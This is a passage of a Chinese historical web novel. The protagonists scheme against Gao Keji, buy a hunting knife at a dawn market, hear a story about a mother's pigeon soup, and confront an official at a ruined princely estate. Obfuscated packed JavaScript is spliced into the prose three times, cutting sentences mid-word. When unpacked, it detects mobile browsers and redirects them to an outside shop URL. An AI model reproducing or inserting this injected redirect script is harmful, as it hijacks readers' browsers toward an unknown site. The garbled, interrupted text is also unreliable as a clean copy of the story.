院内阒寂，鹿啄心中纵有又让他言重的不快，却也不得不细想。 如此说来，所谓为奴为婢，在主人眼中，根本连人也算不上，鹿啄自忖若真有悍兔至此，她尚且将之视为可敬的猎物，但换到高克己身上，生而弱小，便是生而有罪，他对待素馨的行径已佐证了这番道理。 须臾，她默默回身落座，神色晦暗，高克行见之恻然，不由坐近了几分，柔声道： “你我所图，是要他心甘情愿成为把柄捏在我们手上，可他又不会屈居人下，那是否可以，将他自认所处的高位颠倒过来，换到下头？” 此时高克行略略矮身，双手支在膝上，仰面望她，目光柔和，竟让鹿啄蓦然想起，在山上每每跟鹿霖吵架，鹿苓亦是这般蹲下身来，自下而上地瞧着她，软语宽慰。 念及此，她心下不由蓦然泛起一片温软，语气稍缓： “怎么做？” 高克行维持着躬身的姿态，并没答鹿啄，反而转头看向素馨，后者半伏在地上，仍在淌泪，只是此时之泪已有不同。 “你既然将他的藏身处说出来，就是还有心气。想翻身、想颠覆前尘，想像他踩你那般，也把他踩在脚下？” 随着他一字一字诉说，素馨的眼神也逐渐清明，面上透出狠厉，答曰“是。” “好，既然已有共识，你们两个能不能抛弃之前的事，协力互助？” 鹿啄自然能，她本无错无怨。于是她先点头，其后，素馨也没扭捏，亦点了点头。 “这就容易了。”高克行起身，覆掌而立，踱步几许后，道： “分两步。其一，为使你能从娼寮中脱身，你要趁夜回高府，去找一个人。” 素馨茫然猜测： “是找大少爷么？” “瞎猜。”高克行睨她一眼，“我大哥若知道你是从窑子里出来的，立时就会给你原样丢回去。” 她不敢再多言了，等着高克行的后话。 “你要去找大房长媳，高克己的正妻主母。” 话音方落，素馨眼中的抗拒都快溢出来了，高克行轻“啧”一声，道： “怕什么，他一屋子的女人，外头还有，正妻会丝毫不知吗？早习惯了，不会拿你如何的。” 去语既出，并无来言，高克行断她已认了。 “挑个四下里无人的时候，哪怕是闯进去，到闺房内与她私下相见。千万别使她丢了脸面，否则决计不会帮你。” 他说着，踱到水缸边上，舀了一勺水上来。 “她虽是正妻，但对外头的事知道的有限，你要对她将外宅的事和盘托出，最好把外宅的娘子说得青面獠牙、野心勃勃，若她仍 不动摇，你就诌外室七八个娘子都有了身孕。” 就是胡诌也不能诌得如此离谱，好在素馨实在伺候过高克行两日，知道他一息秉性，并没把这句奉若圭臬。 “如此，她必忧心，可她的手伸不到外宅去，你只管等她哭，等她闹，待她哭完闹完，你就说，你能做她的手，只要她给你赎身。” “你既被高克己卖入娼寮，她一定会觉得高克己已经厌弃你，对她没有威胁，你是最合适的耳目，能把外宅的一切，报给她知道。” 的确，易地而处，素馨也会将这样一个女子收作耳目的。她频频点头。 “现下她找不着高克己，没处去对峙，只能先给你赎身，再托你寻夫，所以为你赎身必会办得极快。” 本来从魔窟脱身，再回高克己的外宅，即是又入魔窟，但有了主母做倚仗就完全不同，加之高克行和鹿啄一定有后手，高克己时日无多。曙光已现，生路在望。素馨热泪潸然，首肯不绝。 见高克行将舀上来的水饮尽了，素馨本能地想要起来，低声道： “二爷莫饮凉水，奴婢给二爷泡茶吧。” 颠覆前尘，她就仍是奴婢，若将来脱险，她最好是回到高克行房中，到了年纪再放她出去，彼时她便有了真正的自由，有了从囹圄之地出去的路。 故而她先拾起了奴婢的身份，希望这般姿态落入高克行眼中，能叫他知道自己的一番大彻大悟，并非死到临头阳奉阴违，而是认了该有的命。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而后，高克行尽述其策，那计策直把素馨骇得面无人色。她将其中细枝末节几乎问了十余遍，眼见再不去高府便要误事，这才拖着病体离去。 鹿啄倒未置一词，待素馨去后，方到屋内，借着灯火将武器检视妥当，转而向进来的高克行嘱咐，明日需上街市，至少置办一套夜行衣靠，另要添件新兵器。 “最好是短刀。”她补上一句，“因我双刀，丢了一柄。” 正要往炕上去的高克行止住，回身颔首，那双刀因何丢了一柄他可没忘，面上不禁掠过一丝惭怍，思及横竖也要自投罗网，现下也不怕上街被人瞧见了，因道： “好，我同你去。你是擅用双手武器，还是单纯缺了一个心里难受？” 入秋天干，剥皮刀的骨柄多日没上油，果然又生细纹，鹿啄正别扭，听见高克行这么一句，便道： “你说了给我补。” 噎得他耳后一红。 但很快他想起什么，又笑了： “补当然要补，但丢了的，我也给你找回来。” 54.鸽子汤 《兵律·军政》有载，民间禁持军器，对此有一军器名单，详备罗列了不应私人持有的器械类别。 短刀未在其中。 却也很模糊。其实质上类属杀伤性军器，却更常用于狩猎、屠宰，因而并非完全遍寻不得。 如铁匠、猎户、屠户，乃至杂货铺中，都有可能再购得一把用途相似的剥皮小刀。 可这类粗制滥造的民用工具，是否能入鹿啄的眼，高克行就有些摸不准了。 左思右想，除却依照固定时辰迎客的铁匠铺外，还是要在晓市和常集找找有没有售刀的猎户，或可再看看有没有兽皮、兽骨，毕 竟鹿啄似乎格外青睐此类。 卯初晓市开市，寅正高克行便起身梳洗，自到破屋以来，他从踏出过屋门，现下得为二人都不在院中时做些准备。 一张要夹在门缝处的，给婆子看的字条；以及《啄蒙解译》的手稿需收拾齐整，存放妥当；又理出屋内所有银两和紧要之物揣在 身上。 打点停当，鹿啄已在门口等他。 二人给房门落锁，一齐出了家门。 东方露白，本地一处知名晓市距巷口约有数百步，二人信步走着，渐闻市集嗡嗡人声，天色依然昏暗，商贾交易多在檐下、墙角，偶见几盏昏黄的纸灯笼或松明火把，光影摇曳，将买卖双方的身影拉得忽长忽短。 绕过些许陈列农家蔬果、时鲜野菜、活鸡活鸭的摊位，向中段走，便目及新旧杂陈。旧衣旧物、破损瓷器、古旧书籍、小偷小摸来的暗烂贱物俯拾皆是。零星有两个铁器摊，刀剪锄镰直接摆在粗布或草席上，任人拣选。 鹿啄心不在焉地掂量着一把锈蚀镰刀，冷不丁问： “陆从漪是什么样的人？” 他已知道逐娘是什么样的人，她亦有权知道陆从漪是什么人，只不过今时今日方有这个好奇罢了。 “首先这称呼就不对。”高克行目光飘向远方一檐下老汉，“你娘，或陆姨娘，均可，我娘跟你又没仇。” 这倒很新鲜。 高克行素来由着她对殷碧直呼其名，甚至高彦韬和高克肃也不在例外，可陆从漪不行。甚至他自住进破屋以后，从未与鹿啄说过 “不对”二字，更绝无这样生硬的口气。就是要阻止她做什么，也会先说道理，让她自己明白。 他一定很尊敬，亲爱他的生母吧。 就像她对逐娘一样。 鹿啄改了个称呼。 “陆姨娘是什么样的人？” “嗯？”高克行似乎并未料到她会改口，收回目光，“怎么想起来问这个？别看那破镰刀了。” 那镰刀的确很破，卷了刃，锈迹斑斑，刀刃像酥的。鹿啄也不挣扎，随手丢下镰刀，捻着两指之间沾上的浮灰，摇摇头： “一直想问。” 满打满算，鹿啄在高府停留的日子也不过三日，她能逐一将名字对上已是难得，若为她自身计，有此一问并不奇怪。高克行指指 远处檐下的老者，二人一面朝前走，高克行一面道： “观人必于其微，听言必察其行。我说的你未必就信。” 他们走得慢，语调也轻，脚步声和对白隐在问价、议价声中。高克行回身看了看鹿啄的侧脸，那上头犹如写着“不公平”三个大字。他无声笑笑，才道： “我少时，高家不算寒微，吃穿用度，一应不缺，但没有自己可以支取的银子，所有供应，皆有定数。且彼时尚不能知殷氏会不会有嫡出的儿子，我娘在家中事事掣肘，我跟大哥便不敢有什么特别的喜好。” 离老者大约还有十步，鹿啄已看见了老者腰间的一把猎刀，她不由回头瞧瞧高克行，但后者无知无觉，仍说： “可你喜爱什么，往往不必与娘刻意说。” 他顿了顿，好似在寻一样有意忘却的事。 “八岁时，我因一些事由，常宿在父亲书房中，没有专拨给我的下人，父亲又时时责备，我镇日殚精竭虑，连自己病了也不知。夜里迷迷糊糊睡了，就想，若有一碗鲜嫩醇美的鸽子汤便好了。” 鹿啄在山上常能打到鸽子，鹿坪会用筍片、葱白、酒、酱、花椒和水烹，再给姐妹分食。味道的确很好，正在病中的孩子有所怀念确为常理，她不由得抿抿嘴，也想起一个味道来。 “后来，父亲请了郎中，郎中诊病三日，我日日都有鸽子汤。那时我还以为，是父亲着人煮的，便犯傻发奋许久。” 这是不可能的。鹿啄想起高彦韬当日言之凿凿，振聋发聩要舍了一双儿女的话，这样的父亲，怎么会记着儿子喜食的一样偏门小馔。 高克行见鹿啄脸上一会儿一个颜色，有些好笑，悄悄提了嘴角，接着道： “一年后，我大约熟悉了父亲教我的功课，便有机会时时回后宅看望娘亲。娘亲身边的赵嬷嬷，竟一直记着我去岁染病的事，无意中让我知道了，原来那鸽子汤是娘亲手所制。不止如此……” 说话间，二人已到了老者切近，高克行示意鹿啄去看老者的猎刀，鹿啄却没动，仍等他将话说尽。高克行只得又压低几分声音 道： “不止如此，当时我娘得知我病了，便派人出府去购置新鲜鸽肉，但屡屡遭到殷氏阻拦，我娘心焦，不顾体面，亲自去求，殷氏 一贯在人前是大度慈爱的，便答应了母亲会将食材送到院中。可谁知，不久后送来的食材，竟是两只活鸽子。” “灶房的人那一日偏巧很忙，忙得头脚倒悬，不知怎么多了那么多活计，我母亲左等右等，眼看又要入夜了，她忧心我病中不安，情急之下，亲手拿刀杀鸽做汤。” “此事在你看来或许不算什么，但我母亲出自深闺，莫说杀鸽子，她连鸽子活着的时候是什么样都少见。” 鹿啄并不把此事看做不值一提的微末小事，她虽不大熟悉陆从漪，但她熟悉逐娘，同样是深闺女子，逐娘要不是起初有从娘，后来又有了姐妹们，决计会在山上饿死。她的纤弱与柔婉，她的坚硬与狠绝，彼时彼刻，恰如此时此刻。 她不由问： “后来呢？” 这似乎是个不易答复的问题，高克行目光再度飘远，片刻，才回头道： “后来娘就变了，外人说她专横跋扈，刻薄尖酸，可不止外头，她对我和大哥也变了，她一向不事事宣之于口的人，从那以后，竟日日要与我跟大哥说上几遍，‘为娘疼你’‘为娘爱你’可我少时总觉得，娘并非变得敢说敢行，而是娘很怕。” “怕什么？” 怕殷碧吗？鹿啄稍稍睁大了眼睛。 “于你而言并不重要，况且我也不知道。” 这是半句谎言。其真相的确对鹿啄无关紧要，但高克行却深切知晓。他笑着将鹿啄的脸别到猎户一侧，道： “看刀吧。” 鹿啄不知因何觉得跟他说这样的话比看刀要有趣十倍，但他已将话题压下，鹿啄便只能去看那猎户的刀。 并不特别的一把猎刀，与鹿啄的剥皮刀比起来，既无新意也无巧思，唯独有一点好，即这猎刀应是猎户日日自用的，磨得光亮，钢材似乎也不错。 确乎是这晓市上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195464|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最好的一把刀了。 从未指望过什么奇珍异宝的鹿啄蹲下跟猎户议价，起初猎户还不愿卖，但三两个回合谈下来，高克行出价实在高，加之鹿啄又是懂刀的人，猎户还是将刀卖了。 天破晓，市散。 二人昨夜已议定找出陈星霜栖身之所的法子，现下便分头而行，高克行往布匹衣裳铺中去采办夜行衣靠，鹿啄取道知县县衙。 自刘知县因故落马以来，县衙已乱了两日，缺替上报，迟迟不见人补缺。 这倒也自然，万家、吴家一案，闹得人心惶惶，青州府宦人人自危，个个手头上都有比补缺更要紧的事。 更有人浑水摸鱼，趁乱将知县府后宅所剩不多的财物细软夹带挟出，或是就地销毁。 纵然鹿啄大摇大摆晃进县衙，恐怕也不会有人上来盘问。因能识得刘府婢女的人，已全都不在了。 故而来此处办事，委实是不用有什么武艺傍身的，但鹿啄执意孤身前来，是存了考量自己是否将《啄蒙解译》中官制一卷融会贯通的想法。 说来的确古怪，陈星霜处置刘知县后，按理应摄后续一应安置事宜，再不济，也该着人围府，管制进出。但他就像是偶然从道旁走过，顺手拔除了一株杂草，既过即走，至于此地之后如何，完全与他无关。 所以刘知县于他而言，就是刘知县，并不为牵扯其背后的什么，也不为辖制什么。 鹿啄不由也在心里问出个为什么来。 好在她的处世之道始终离不开“与我何干”和“与你何干”八个大字，故此她也没在为什么三个字上多做停留，在知县府外墙绕了一圈后，鹿啄飞身翻过。 此行有的放矢 ——知县府架阁库。 要将存在其内的地籍图县级正本和工房岁修实销账找出，或带给高克行，或自行分辨其中有无异样。 昨夜二人合议时，高克行推断陈星霜如未在知县府下榻，必然也会有其它住处。 客栈驿馆于他身份不合，况且人多眼杂。至于镇守府、提刑按察使司，衙门都不在青州地界，行事不便，更何况此二者与镇抚司和东厂分属不同司职，极易暴露行踪。 他既然化名陈阿猫，又托身藩府太监，必定是不想旁人得知他所办公职为何。 由此可得，他极可能是身处某个空置宅邸，或记名在镇守府名下的宅邸。 而叶孤萍接待上官，又是必然会有支取名目的。 宦官无后世，无未来，为保当下的荣华，没有一个是不贪的。 因而纵然接待事由为私，接待开销也要为公。叶孤萍必不会走镇守府的府库，通常的做法是，借着修缮贡院或官舍的名头，向县衙摊派钱粮物资。 可若县衙将摊派下来的帐记在虚处，又有一个疑难。盖因风宪官，也就是高彦韬，因返乡探病，正在青州，谁也不知他会不会闲来无事突然过问府衙公账，到时若有一个空宅无缘无故多出许多支取名目，县府说不清楚，也不敢找到叶孤萍头上。 最为稳妥的办法，就是陈星霜干脆住在镇守府名下的官舍内，摊派的接待费也直接记做修缮费，放在同一个陈星霜实际所住的官舍名下，此一来就算风宪官真想过问，也找不出任何把柄。 的确有上官暂住，因上官暂住也的确需要修缮，而至于是否真正修缮，高彦韬又不会亲自去走一趟。 如此，只要对比鱼鳞图和岁修账目，便能通过一月内突然拨出的巨款，找到陈星霜的栖身之所。 回忆间，鹿啄已踏上架阁库二楼，于无人注意之时，将所寻之物找了出来。 55.齐藩废苑 “阿啄机敏过人，若生为男儿，当是一朝肱骨。” 高克行将鹿啄抄录下来的账目和图样就着烛火燃尽，回头对鹿啄一笑。 半个时辰前，二人先后回到破屋，鹿啄检视高克行买来的衣靠，高克行则到案前看鹿啄从府衙抄回的讯息。 “你没买自己的。” 鹿啄将手中衣物放下，也回身问他。 “我买自己的干嘛？我又不会飞檐走壁。”高克行吹熄烛火，“穿得花团锦簇还是掩人耳目，没区别。” 鹿啄一皱眉。 “那你怎么进去？” “走正门进呗。” 就着话，高克行低眉看了看自己身上的行头。 这是高克肃前几日送来给他换洗的，知道他身处鄙陋，高克肃有意避开他那些华贵张扬，艳丽华美的衣饰，然避开这些，委实也不剩什么了。高克行正穿着的鸦青色广袖素面直身，甚至其实是高克肃的衣物。 鹿啄挑起一侧眉毛。 神色犹如在说： 好啊，那等着被抓起来，或者被就地打死呗。 高克行见她揶揄，笑着摇头。 “以陈星霜往日行事看，他不会即刻要我的命，就算他恨极了我，暗处不也有你吗？” 鹿啄不置可否。 二人转了个话头。 “纵然带了许多番子，这住处也选得太阔了。”高克行以手支颐，凝眉忖道，“城北齐藩废苑，是永乐年间废藩庶人的旧宅，多年无人敢占，后来衡王封藩的时候，因其犯忌晦气，特另修了衡王府。在这个地方暂住，我都不知是该说叶孤萍胆子太大，还是陈星霜胆子太大。” 《啄蒙解译》官制一节，涉及到藩王、储君，却还无涉废黜典刑，鹿啄云里雾里，遂问： “什么晦气？” 高克行笑： “难说，就好比有家道观，有个老道在里头修仙，修着修着走火入魔了，下山杀人。后来这老道被逮了，后面再有老道，还会不会住这个道观？” 忌讳是一个相对过于“人”的概念，高克行无从找动物的比方，便想起啜狗山上有个道观。 鹿啄似懂非懂，点点头，片刻后想起他这比方从何而来，便纠正他： “啜狗山的道观只有尼姑。” 尼姑？高克行一愣。 “尼姑是尼姑，道姑是道姑，这俩不一样。” 但鹿啄坚定点头。 “是尼姑，没有头发。” 尼姑住在道观里？高克行被激起几分好奇，左右无事，他便顺着思量。 佛道不相容，若非有十分特别的缘故，绝不会交换住处，至多是借住，可鹿啄又说啜狗山上的道观里只有一个尼姑，而不见道姑。 既然要挂单，为何偏偏选了一间空道观而非寺庙？多半是尼姑情非得已，不生在山上，却不得不住在山上。 “她腿脚不好？” 高克行随口一问，鹿啄却猛地睁眼，几乎提高了声音： “你怎么知道？” 她还没习惯高克行事事要猜，高克行并不接话，又思量着，那道观依鹿啄的说法，是建在山顶，一个腿脚不好的尼姑，缘何要跑到山顶的道观里挂单？她就不知道自己下不来了吗？ 还是说，她是上山以后腿脚才变得不好的。 山中寒气湿气皆重，如果这尼姑上山时已经年纪不小，她应当能预见到自己的后果，可纵然如此，她仍要上山，为什么？ 如若这尼姑上山时年纪尚小，便更不合理，以鹿啄和尼姑的年龄估算，尼姑年幼时，鹿家姐妹和逐娘从娘都还未上山，山中道观 若还未荒废，那尼姑怎么入道门？若荒废了，一个年幼的尼姑，如何一人在山中生存？ 她应当有十分特殊而不得已的情由，必须要留在山里。 想着，高克行就问： “你什么时候认识她的？道观里当真只有她一个人？” 鹿啄不知高克行为什么突然对老尼姑感兴趣，但她认识老尼多年，也有很多不明白的事，便有心听高克行作何想，遂答： “五岁，随娘去道观给她送吃的。”说罢，鹿啄一顿，思索片刻，方又说，“还有个小女孩。” 那小孩几乎不走动，不进入道观内是见不到她的，鹿啄不常去送吃喝，这女孩她只见过一面，还是后来尼姑的腿疾发作，不便来 开门，女孩替她，鹿啄才匆匆见过一面。 此后想起，还常常将她漏了。 “小女孩？”高克行脸上狐疑更甚，“作什么穿着打扮？” “平常打扮。”鹿啄回想，“但她的鞋很小。” 她说着伸出两根手指，比划出个不及一柞的间隔。 高克行见之不由哑然。 这哪里是鞋小，分明是脚小啊。 因本朝开国元后是天足，士大夫人家仿效先贤，娶妻并不一味崇尚三寸金莲，因而给女儿缠足的人家与不给女儿缠足的人家，大约平分秋色。 但再怎么平分秋色，山间女子和民间女子，为了劳作和往来奔波，是绝不会缠足的。 “这个小姑娘，她身体怎么样？健壮吗？” 高克行忽然没来由作此问，鹿啄更摸不着头脑，她缓缓放下头顶支着的手，末了，摇摇头： “看不出，不算太差，也不算太好。” 只有出身高门，有人伺候，大门不出二门不迈的官家小姐才会有一双，让鹿啄一看就觉得比平常人要小的脚。 而这样的人家里，常有在家教习不好或是体弱的小姐们会在年幼时，被送到道观或寺庙里清修。 可缠了足，行动不便的姑娘，如此年幼，却只有一个尼姑照顾，说明家中不在意、不重视，已经到了令人发指的地步。 那要么是这小姐，家中判断已经无救，放在山里等死；要么是这小姐犯了大错，根本不打算接回去。 是这二者的任一，那位小姐都该在上山后赶紧放足，否则寸步难行，形同废人，只有等死。可鹿啄见她时，她还未放足，分明是还要回家做小姐的。 高克行想起一个人。 殷封的妹妹，殷柔。 殷家子嗣不丰，到了殷封这一辈，承爵的一支只有两女一子，殷封和亲妹殷妙是嫡母严氏所出，还有一个庶妹殷柔是殷碧兄长的妾室所出。 无论殷妙还是殷柔，应严氏的要求，都是缠足的。 高克行只见过殷妙，他年幼时与殷家来往走动，殷封常常带着殷妙，却从没带过殷柔。而殷碧和殷家其它人，也都不怎么提起殷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208558|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔母女，直到后来高克行听说殷柔四岁上，被亲母过了恶疾，送到山中安养，去岁方回。 而就在她回来前不久，殷封的亲妹，殷家大房唯一的嫡女殷妙，因病过世了。 啜狗山上道观之中的，是否就是殷柔呢？ 若是如此，却也太巧了，巧得像是被人有意从中安排。 高克行将自己的猜测与鹿啄说了，鹿啄也不由疑心，可二人毕竟谁也不知道殷柔的样子，无从比对，只又从殷柔绕回殷家，将殷 家可能与啜狗山有关的联系分条缕析，直到入夜。 此时，该到城北去找陈星霜了。 白日里高克行特意雇了马车，二人将破屋落锁，驾车往齐藩废院。 戌正，车轮声歇，止于一扇阴森府门之前。 鹿啄从厢中下车，寻机潜入，高克行则在她之前，引开守门番子。 废藩伏诛，已逾近百年，然曾经的亲王府威仪雄浑，丝毫不减。门上匾额已被摘下，朱红的大门漆色斑驳剥落，露出了里面发黑的铁力木底色，高耸的门楣和门口两尊汉白玉石狮，始终狰狞摄人。 门口没有挂灯笼，只站着两个穿青衣曳撒的番子，二人抱着刀站在阴影里。他们不说话，甚至连眼珠子都不转，只有当人靠近时，才会投来一种看死人的目光。 听说来人是高克行，番子倒并没将他就地正法，板着脸去通传了。不消片刻功夫，就见通传的番子跑着回来，神色不改： “刑官请您到正殿一叙。” 的确是亲王府啊。高克行不由在心中暗叹，只有亲王府议事的厅堂，是称为殿的。他笑了笑： “有劳带路。” 跨过极高的门槛，绕过一座麒麟照壁，这里原是齐王府的前殿广场，现下有两个小监正在跑马，空气中弥漫着一股复杂的味道，潮湿的泥土味、马匹的腥膻味，以及即使洒了生石灰也掩盖不住的淡淡血腥气。 难怪要住的如此阔，整个青州能跑马的宅子也没有多少，泰半有人居住。 这倒难为叶孤萍了。 想着，高克行随番子穿过甬道，穷尽此路，赫然入目的，就是门扉紧闭的承运殿正殿。 带路的番子忽然停住了，不声不响，折身往回走。 这是有意要他乱，要他不知道东厂做什么打算。 高克行抬头看了看承运殿的屋顶绿瓦，鹿啄探出半个脑袋。 纵然此情此景，她的神色也与往日没什么不同，夜行衣靠衬她，显得她比往日更自然灵动。 高克行招了招手。 须臾，鹿啄无声无息落在他身前。 原意也是如此，从正门进，鹿啄或被拦在门外，或听说鹿啄来了，陈星霜避而不见，但到了正殿门口，鹿啄也没有隐匿行踪的必 要了。 高克行前出一步，伸手推动承运殿的正门。 铜枢沉滞，轧轧然作苍龙低吟，嗡嗡颤响，随之，万钧门扉豁然中开，砰訇两声，声震殿前尘埃，诸声乍起，于深旷中幽幽回 响。 在这几乎震耳的嘈杂之中，鹿啄忽然听见了一个异常的声音。 破空声。 倏忽间，一道银光骤然亮起。 那是她的剥皮刀，直奔高克行的眉心而来。